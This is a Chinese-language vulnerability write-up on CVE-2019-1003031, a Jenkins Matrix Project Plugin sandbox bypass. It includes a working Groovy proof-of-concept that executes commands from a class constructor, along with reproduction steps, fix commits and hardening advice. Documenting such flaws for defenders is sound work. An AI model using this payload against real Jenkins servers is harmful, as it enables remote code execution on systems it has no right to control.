CVE-2019-1003031:[Jenkins]Matrix Project Plugin沙箱绕过漏洞
字数 2134 2025-08-29 08:32:30
Jenkins Matrix Project Plugin 沙箱绕过漏洞分析 (CVE-2019-1003031)
漏洞概述
本教学文档详细分析 Jenkins Matrix Project Plugin 中的沙箱绕过漏洞 (CVE-2019-1003031),该漏洞与 Script Security Plugin 的另一个沙箱绕过漏洞 (CVE-2019-1003029) 相关联,可导致权限提升和远程代码执行。
受影响组件
1. Matrix Project Plugin
- 功能:用于构建"多配置项目",如多环境测试、平台指定构建等
- 漏洞版本:<= 1.13
- 修复版本:1.14 或以上
- 利用条件:具有 Job/Configure 权限的用户
2. Script Security Plugin
- 功能:管理普通用户执行 Groovy 脚本的权限
- 漏洞版本:<= 1.53
- 修复版本:1.54 或以上(考虑 CVE-2019-1003040,建议升级到 1.56 或以上)
- 利用条件:具有 Overall/Read 权限的用户
漏洞背景
Matrix Project Plugin 在配置过程中接受用户指定的 Groovy Script,在版本 <=1.13 中存在沙箱绕过漏洞。该漏洞需要结合 Script Security Plugin 的沙箱绕过漏洞 (CVE-2019-1003029) 来实现完整的利用。
漏洞分析
漏洞位置
- Matrix Project Plugin:
hudson/matrix/FilterScript.java的evaluate()方法 - 调用栈:
parse:117, FilterScript (hudson.matrix) parse:105, FilterScript (hudson.matrix) evalGroovyExpression:101, Combination (hudson.matrix) evalGroovyExpression:91, Combination (hudson.matrix) rebuildConfigurations:658, MatrixProject (hudson.matrix) submit:959, MatrixProject (hudson.matrix) doConfigSubmit:1350, Job (hudson.model) doConfigSubmit:772, AbstractProject (hudson.model)
漏洞利用尝试
-
初始尝试:
(new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start())==""- 结果:无法调用
ProcessBuilder,被 Script Security 插件拦截
- 结果:无法调用
-
反射尝试:
("".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator"))==""- 结果:仍然被拦截
有效利用方法
通过分析修复提交和评论,发现可以通过在类构造函数中执行代码来绕过限制:
class poc {
poc(){
"/Applications/Calculator.app/Contents/MacOS/Calculator".execute()
}
}
关键点:
- 不使用
public关键字(会被拦截) - 在类构造函数中执行命令
- 使用
String.execute()方法而非直接调用Runtime或ProcessBuilder
修复分析
修复提交中提到了 DoNotRunConstructor 类,表明修复重点是防止在构造函数中执行代码:
-
Matrix Project Plugin 修复提交:
https://github.com/jenkinsci/matrix-project-plugin/commit/765fc39694b31f8dd6e3d27cf51d1708b5df2be7 -
Script Security Plugin 修复提交:
https://github.com/jenkinsci/script-security-plugin/commit/f2649a7c0757aad0f6b4642c7ef0dd44c8fea434
漏洞复现步骤
-
环境准备:
- Jenkins: 1.150.3
- Matrix Project Plugin: 1.13
- Script Security Plugin: 1.53
-
利用过程:
- 以具有 Job/Configure 权限的用户登录
- 新建 Job,选择"构建一个多配置项目"
- 在配置页面的"组合过滤器"中输入恶意 Groovy 脚本:
class poc { poc(){ "/Applications/Calculator.app/Contents/MacOS/Calculator".execute() } } - 提交配置触发漏洞
防御建议
-
升级:
- 将 Matrix Project Plugin 升级到 1.14 或更高版本
- 将 Script Security Plugin 升级到 1.56 或更高版本(考虑 CVE-2019-1003040)
-
权限控制:
- 严格控制 Job/Configure 权限
- 遵循最小权限原则
-
监控:
- 监控可疑的 Groovy 脚本执行
- 审计配置更改日志
参考链接
-
Jenkins 安全公告:
- https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1339
- https://jenkins.io/security/advisory/2019-03-06/#SECURITY-1336
-
NVD 条目:
- https://nvd.nist.gov/vuln/detail/CVE-2019-1003031
- https://nvd.nist.gov/vuln/detail/CVE-2019-1003029
-
相关技术分析:
- https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
- https://www.lucifaer.com/2019/03/04/Jenkins%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2018-1000861%E5%88%86%E6%9E%90%EF%BC%89/
-
Groovy 官方文档:
- https://groovy-lang.org/documentation.html